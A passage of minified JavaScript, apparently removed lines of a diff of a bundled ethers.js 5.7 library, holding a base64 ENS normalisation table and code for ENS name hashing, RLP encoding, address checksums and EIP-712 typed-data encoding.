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")); - var up = new Set(sp(gp)); - var lp = new Set(sp(gp)); - var fp = function(t2) { - let e2 = []; - for (; ; ) { - let r4 = t2(); - if (0 == r4) - break; - e2.push(cp(r4, t2)); - } - for (; ; ) { - let r4 = t2() - 1; - if (r4 < 0) - break; - e2.push(hp(r4, t2)); - } - return function(t3) { - const e3 = {}; - for (let r4 = 0; r4 < t3.length; r4++) { - const n2 = t3[r4]; - e3[n2[0]] = n2[1]; - } - return e3; - }(rp(e2)); - }(gp); - var pp = function(t2) { - let e2 = sp(t2).sort((t3, e3) => t3 - e3); - return function r4() { - let n2 = []; - for (; ; ) { - let A3 = sp(t2, e2); - if (0 == A3.length) - break; - n2.push({ set: new Set(A3), node: r4() }); - } - n2.sort((t3, e3) => e3.set.size - t3.set.size); - let A2 = t2(), i2 = A2 % 3; - A2 = A2 / 3 | 0; - let o2 = !!(1 & A2); - return A2 >>= 1, { branches: n2, valid: i2, fe0f: o2, save: 1 == A2, check: 2 == A2 }; - }(); - }(gp); - var dp = 45; - var Ip = 95; - function yp(t2) { - return function(t3, e2 = Kf.current) { - return Wf(Zf(t3, e2)); - }(t2); - } - function Cp(t2) { - return t2.filter((t3) => 65039 != t3); - } - function mp(t2) { - for (let e2 of t2.split(".")) { - let t3 = yp(e2); - try { - for (let e3 = t3.lastIndexOf(Ip) - 1; e3 >= 0; e3--) - if (t3[e3] !== Ip) - throw new Error("underscore only allowed at start"); - if (t3.length >= 4 && t3.every((t4) => t4 < 128) && t3[2] === dp && t3[3] === dp) - throw new Error("invalid label extension"); - } catch (t4) { - throw new Error(`Invalid label "${e2}": ${t4.message}`); - } - } - return t2; - } - function Bp(t2) { - return mp(function(t3, e2) { - let r4 = yp(t3).reverse(), n2 = []; - for (; r4.length; ) { - let t4 = Ep(r4); - if (t4) { - n2.push(...e2(t4)); - continue; - } - let A3 = r4.pop(); - if (up.has(A3)) { - n2.push(A3); - continue; - } - if (lp.has(A3)) - continue; - let i2 = fp[A3]; - if (!i2) - throw new Error(`Disallowed codepoint: 0x${A3.toString(16).toUpperCase()}`); - n2.push(...i2); - } - return mp((A2 = String.fromCodePoint(...n2), A2.normalize("NFC"))); - var A2; - }(t2, Cp)); - } - function Ep(t2, e2) { - var r4; - let n2, A2, i2 = pp, o2 = [], s2 = t2.length; - for (e2 && (e2.length = 0); s2; ) { - let a2 = t2[--s2]; - if (i2 = null === (r4 = i2.branches.find((t3) => t3.set.has(a2))) || void 0 === r4 ? void 0 : r4.node, !i2) - break; - if (i2.save) - A2 = a2; - else if (i2.check && a2 === A2) - break; - o2.push(a2), i2.fe0f && (o2.push(65039), s2 > 0 && 65039 == t2[s2 - 1] && s2--), i2.valid && (n2 = o2.slice(), 2 == i2.valid && n2.splice(1, 1), e2 && e2.push(...t2.slice(s2).reverse()), t2.length = s2); - } - return n2; - } - var wp = new Gl(ep); - var vp = new Uint8Array(32); - function _p(t2) { - if (0 === t2.length) - throw new Error("invalid ENS name; empty component"); - return t2; - } - function Qp(t2) { - const e2 = Zf(Bp(t2)), r4 = []; - if (0 === t2.length) - return r4; - let n2 = 0; - for (let t3 = 0; t3 < e2.length; t3++) { - 46 === e2[t3] && (r4.push(_p(e2.slice(n2, t3))), n2 = t3 + 1); - } - if (n2 >= e2.length) - throw new Error("invalid ENS name; empty component"); - return r4.push(_p(e2.slice(n2))), r4; - } - function bp(t2) { - "string" != typeof t2 && wp.throwArgumentError("invalid ENS name; not a string", "name", t2); - let e2 = vp; - const r4 = Qp(t2); - for (; r4.length; ) - e2 = Yf(zl([e2, Yf(r4.pop())])); - return Wl(e2); - } - vp.fill(0), Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var kp = new Gl("rlp/5.7.0"); - function Dp(t2) { - const e2 = []; - for (; t2; ) - e2.unshift(255 & t2), t2 >>= 8; - return e2; - } - function Sp(t2, e2, r4) { - let n2 = 0; - for (let A2 = 0; A2 < r4; A2++) - n2 = 256 * n2 + t2[e2 + A2]; - return n2; - } - function Np(t2) { - if (Array.isArray(t2)) { - let e3 = []; - if (t2.forEach(function(t3) { - e3 = e3.concat(Np(t3)); - }), e3.length <= 55) - return e3.unshift(192 + e3.length), e3; - const r5 = Dp(e3.length); - return r5.unshift(247 + r5.length), r5.concat(e3); - } - Yl(t2) || kp.throwArgumentError("RLP object must be BytesLike", "object", t2); - const e2 = Array.prototype.slice.call(jl(t2)); - if (1 === e2.length && e2[0] <= 127) - return e2; - if (e2.length <= 55) - return e2.unshift(128 + e2.length), e2; - const r4 = Dp(e2.length); - return r4.unshift(183 + r4.length), r4.concat(e2); - } - function Mp(t2) { - return Wl(Np(t2)); - } - function xp(t2, e2, r4, n2) { - const A2 = []; - for (; r4 < e2 + 1 + n2; ) { - const i2 = Fp(t2, r4); - A2.push(i2.result), (r4 += i2.consumed) > e2 + 1 + n2 && kp.throwError("child data too short", Gl.errors.BUFFER_OVERRUN, {}); - } - return { consumed: 1 + n2, result: A2 }; - } - function Fp(t2, e2) { - if (0 === t2.length && kp.throwError("data too short", Gl.errors.BUFFER_OVERRUN, {}), t2[e2] >= 248) { - const r4 = t2[e2] - 247; - e2 + 1 + r4 > t2.length && kp.throwError("data short segment too short", Gl.errors.BUFFER_OVERRUN, {}); - const n2 = Sp(t2, e2 + 1, r4); - return e2 + 1 + r4 + n2 > t2.length && kp.throwError("data long segment too short", Gl.errors.BUFFER_OVERRUN, {}), xp(t2, e2, e2 + 1 + r4, r4 + n2); - } - if (t2[e2] >= 192) { - const r4 = t2[e2] - 192; - return e2 + 1 + r4 > t2.length && kp.throwError("data array too short", Gl.errors.BUFFER_OVERRUN, {}), xp(t2, e2, e2 + 1, r4); - } - if (t2[e2] >= 184) { - const r4 = t2[e2] - 183; - e2 + 1 + r4 > t2.length && kp.throwError("data array too short", Gl.errors.BUFFER_OVERRUN, {}); - const n2 = Sp(t2, e2 + 1, r4); - e2 + 1 + r4 + n2 > t2.length && kp.throwError("data array too short", Gl.errors.BUFFER_OVERRUN, {}); - return { consumed: 1 + r4 + n2, result: Wl(t2.slice(e2 + 1 + r4, e2 + 1 + r4 + n2)) }; - } - if (t2[e2] >= 128) { - const r4 = t2[e2] - 128; - e2 + 1 + r4 > t2.length && kp.throwError("data too short", Gl.errors.BUFFER_OVERRUN, {}); - return { consumed: 1 + r4, result: Wl(t2.slice(e2 + 1, e2 + 1 + r4)) }; - } - return { consumed: 1, result: Wl(t2[e2]) }; - } - function Pp(t2) { - const e2 = jl(t2), r4 = Fp(e2, 0); - return r4.consumed !== e2.length && kp.throwArgumentError("invalid rlp data", "data", t2), r4.result; - } - Al(), il(); - var Tp = new Gl("address/5.7.0"); - function Rp(t2) { - Xl(t2, 20) || Tp.throwArgumentError("invalid address", "address", t2); - const e2 = (t2 = t2.toLowerCase()).substring(2).split(""), r4 = new Uint8Array(40); - for (let t3 = 0; t3 < 40; t3++) - r4[t3] = e2[t3].charCodeAt(0); - const n2 = jl(Yf(r4)); - for (let t3 = 0; t3 < 40; t3 += 2) - n2[t3 >> 1] >> 4 >= 8 && (e2[t3] = e2[t3].toUpperCase()), (15 & n2[t3 >> 1]) >= 8 && (e2[t3 + 1] = e2[t3 + 1].toUpperCase()); - return "0x" + e2.join(""); - } - var Up = {}; - for (let t2 = 0; t2 < 10; t2++) - Up[String(t2)] = String(t2); - for (let t2 = 0; t2 < 26; t2++) - Up[String.fromCharCode(65 + t2)] = String(10 + t2); - var Gp = Math.floor(function(t2) { - return Math.log10 ? Math.log10(t2) : Math.log(t2) / Math.LN10; - }(9007199254740991)); - function Hp(t2) { - let e2 = null; - if ("string" != typeof t2 && Tp.throwArgumentError("invalid address", "address", t2), t2.match(/^(0x)?[0-9a-fA-F]{40}$/)) - "0x" !== t2.substring(0, 2) && (t2 = "0x" + t2), e2 = Rp(t2), t2.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && e2 !== t2 && Tp.throwArgumentError("bad address checksum", "address", t2); - else if (t2.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { - for (t2.substring(2, 4) !== function(t3) { - let e3 = (t3 = (t3 = t3.toUpperCase()).substring(4) + t3.substring(0, 2) + "00").split("").map((t4) => Up[t4]).join(""); - for (; e3.length >= Gp; ) { - let t4 = e3.substring(0, Gp); - e3 = parseInt(t4, 10) % 97 + e3.substring(t4.length); - } - let r5 = String(98 - parseInt(e3, 10) % 97); - for (; r5.length < 2; ) - r5 = "0" + r5; - return r5; - }(t2) && Tp.throwArgumentError("bad icap checksum", "address", t2), r4 = t2.substring(4), e2 = new Af(r4, 36).toString(16); e2.length < 40; ) - e2 = "0" + e2; - e2 = Rp("0x" + e2); - } else - Tp.throwArgumentError("invalid address", "address", t2); - var r4; - return e2; - } - var Lp = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var Op = new Gl(ep); - var Yp = new Uint8Array(32); - Yp.fill(0); - var Kp = hf.from(-1); - var Jp = hf.from(0); - var jp = hf.from(1); - var zp = hf.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var qp = rf(jp.toHexString(), 32); - var Xp = rf(Jp.toHexString(), 32); - var Vp = { name: "string", version: "string", chainId: "uint256", verifyingContract: "address", salt: "bytes32" }; - var Wp = ["name", "version", "chainId", "verifyingContract", "salt"]; - function Zp(t2) { - return function(e2) { - return "string" != typeof e2 && Op.throwArgumentError(`invalid domain value for ${JSON.stringify(t2)}`, `domain.${t2}`, e2), e2; - }; - } - var $p = { name: Zp("name"), version: Zp("version"), chainId: function(t2) { - try { - return hf.from(t2).toString(); - } catch (t3) { - } - return Op.throwArgumentError('invalid domain value for "chainId"', "domain.chainId", t2); - }, verifyingContract: function(t2) { - try { - return Hp(t2).toLowerCase(); - } catch (t3) { - } - return Op.throwArgumentError('invalid domain value "verifyingContract"', "domain.verifyingContract", t2); - }, salt: function(t2) { - try { - const e2 = jl(t2); - if (32 !== e2.length) - throw new Error("bad length"); - return Wl(e2); - } catch (t3) { - } - return Op.throwArgumentError('invalid domain value "salt"', "domain.salt", t2); - } }; - function td(t2) { - { - const e2 = t2.match(/^(u?)int(\d*)$/); - if (e2) { - const r4 = "" === e2[1], n2 = parseInt(e2[2] || "256"); - (n2 % 8 != 0 || n2 > 256 || e2[2] && e2[2] !== String(n2)) && Op.throwArgumentError("invalid numeric width", "type", t2); - const A2 = zp.mask(r4 ? n2 - 1 : n2), i2 = r4 ? A2.add(jp).mul(Kp) : Jp; - return function(e3) { - const r5 = hf.from(e3); - return (r5.lt(i2) || r5.gt(A2)) && Op.throwArgumentError(`value out-of-bounds for ${t2}`, "value", e3), rf(r5.toTwos(256).toHexString(), 32); - }; - } - } - { - const e2 = t2.match(/^bytes(\d+)$/); - if (e2) { - const r4 = parseInt(e2[1]); - return (0 === r4 || r4 > 32 || e2[1] !== String(r4)) && Op.throwArgumentError("invalid bytes width", "type", t2), function(e3) { - return jl(e3).length !== r4 && Op.throwArgumentError(`invalid length for ${t2}`, "value", e3), function(t3) { - const e4 = jl(t3), r5 = e4.length % 32; - return r5 ? tf([e4, Yp.slice(r5)]) : Wl(e4); - }(e3); - }; - } - } - switch (t2) { - case "address": - return function(t3) { - return rf(Hp(t3), 32); - }; - case "bool": - return function(t3) { - return t3 ? qp : Xp; - }; - case "bytes": - return function(t3) { - return Yf(t3); - }; - case "string": - return function(t3) { - return tp(t3); - }; - } - return null; - } - function ed(t2, e2) { - return `${t2}(${e2.map(({ name: t3, type: e3 }) => e3 + " " + t3).join(",")})`; - } - var rd = class t2 { - constructor(t3) { - If(this, "types", Object.freeze(vf(t3))), If(this, "_encoderCache", {}), If(this, "_types", {}); - const e2 = {}, r4 = {}, n2 = {}; - Object.keys(t3).forEach((t4) => { - e2[t4] = {}, r4[t4] = [], n2[t4] = {}; - }); - for (const n3 in t3) { - const A3 = {}; - t3[n3].forEach((i2) => { - A3[i2.name] && Op.throwArgumentError(`duplicate variable name ${JSON.stringify(i2.name)} in ${JSON.stringify(n3)}`, "types", t3), A3[i2.name] = true; - const o2 = i2.type.match(/^([^\x5b]*)(\x5b|$)/)[1]; - o2 === n3 && Op.throwArgumentError(`circular type reference to ${JSON.stringify(o2)}`, "types", t3); - td(o2) || (r4[o2] || Op.throwArgumentError(`unknown type ${JSON.stringify(o2)}`, "types", t3), r4[o2].push(n3), e2[n3][o2] = true); - }); - } - const A2 = Object.keys(r4).filter((t4) => 0 === r4[t4].length); - 0 === A2.length ? Op.throwArgumentError("missing primary type", "types", t3) : A2.length > 1 && Op.throwArgumentError(`ambiguous primary types or unused types: ${A2.map((t4) => JSON.stringify(t4)).join(", ")}`, "types", t3), If(this, "primaryType", A2[0]), function A3(i2, o2) { - o2[i2] && Op.throwArgumentError(`circular type reference to ${JSON.stringify(i2)}`, "types", t3), o2[i2] = true, Object.keys(e2[i2]).forEach((t4) => { - r4[t4] && (A3(t4, o2), Object.keys(o2).forEach((e3) => { - n2[e3][t4] = true; - })); - }), delete o2[i2]; - }(this.primaryType, {}); - for (const e3 in n2) { - const r5 = Object.keys(n2[e3]); - r5.sort(), this._types[e3] = ed(e3, t3[e3]) + r5.map((e4) => ed(e4, t3[e4])).join(""); - } - } - getEncoder(t3) { - let e2 = this._encoderCache[t3]; - return e2 || (e2 = this._encoderCache[t3] = this._getEncoder(t3)), e2; - } - _getEncoder(t3) { - { - const e3 = td(t3); - if (e3) - return e3; - } - const e2 = t3.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (e2) { - const t4 = e2[1], r5 = this.getEncoder(t4), n2 = parseInt(e2[3]); - return (e3) => { - n2 >= 0 && e3.length !== n2 && Op.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", e3); - let A2 = e3.map(r5); - return this._types[t4] && (A2 = A2.map(Yf)), Yf(tf(A2)); - }; - } - const r4 = this.types[t3]; - if (r4) { - const e3 = tp(this._types[t3]); - return (t4) => { - const n2 = r4.map(({ name: e4, type: r5 }) => { - const n3 = this.getEncoder(r5)(t4[e4]); - return this._types[r5] ? Yf(n3) : n3; - }); - return n2.unshift(e3), tf(n2); - }; - } - return Op.throwArgumentError(`unknown type: ${t3}`, "type", t3); - } - encodeType(t3) { - const e2 = this._types[t3]; - return e2 || Op.throwArgumentError(`unknown type: ${JSON.stringify(t3)}`, "name", t3), e2; - } - encodeData(t3, e2) { - return this.getEncoder(t3)(e2); - } - hashStruct(t3, e2) { - return Yf(this.encodeData(t3, e2)); - } 